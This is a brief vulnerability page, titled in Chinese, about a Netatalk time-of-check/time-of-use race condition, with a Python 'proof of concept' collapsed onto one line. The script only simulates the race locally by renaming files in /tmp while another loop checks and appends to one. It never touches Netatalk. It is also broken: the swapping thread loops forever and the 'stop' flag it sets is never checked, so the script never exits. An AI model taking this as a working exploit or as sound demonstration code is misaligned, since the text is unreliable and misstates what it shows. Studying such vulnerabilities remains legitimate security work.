CVE-2026-7837 Netatalk TOCTOU竞争条件漏洞

# Proof of Concept Concept for CVE-2026-7837 # This script demonstrates the race condition concept. # It attempts to swap a file between check and use. import os import time import threading TARGET_FILE = "/tmp/netatalk_test_file" TEMP_FILE = "/tmp/evil_file" def malicious_thread(): """Thread to swap files rapidly""" while True: try: os.rename(TARGET_FILE, TEMP_FILE) os.rename(TEMP_FILE, TARGET_FILE) except OSError: pass def trigger_vulnerable_function(): """Simulate the ad_flush call""" # In a real scenario, this would be a network request to Netatalk # triggering the ad_flush() logic. print("Triggering vulnerable operation...") # Simulate check if os.path.exists(TARGET_FILE): # Small delay to widen the race window time.sleep(0.001) # Simulate use (write operation) with open(TARGET_FILE, 'a') as f: f.write("data") if __name__ == "__main__": # Setup files open(TARGET_FILE, 'w').close() open(TEMP_FILE, 'w').close() # Start race condition t = threading.Thread(target=malicious_thread) t.start() for _ in range(100): trigger_vulnerable_function() t.stop = True print("PoC execution finished.")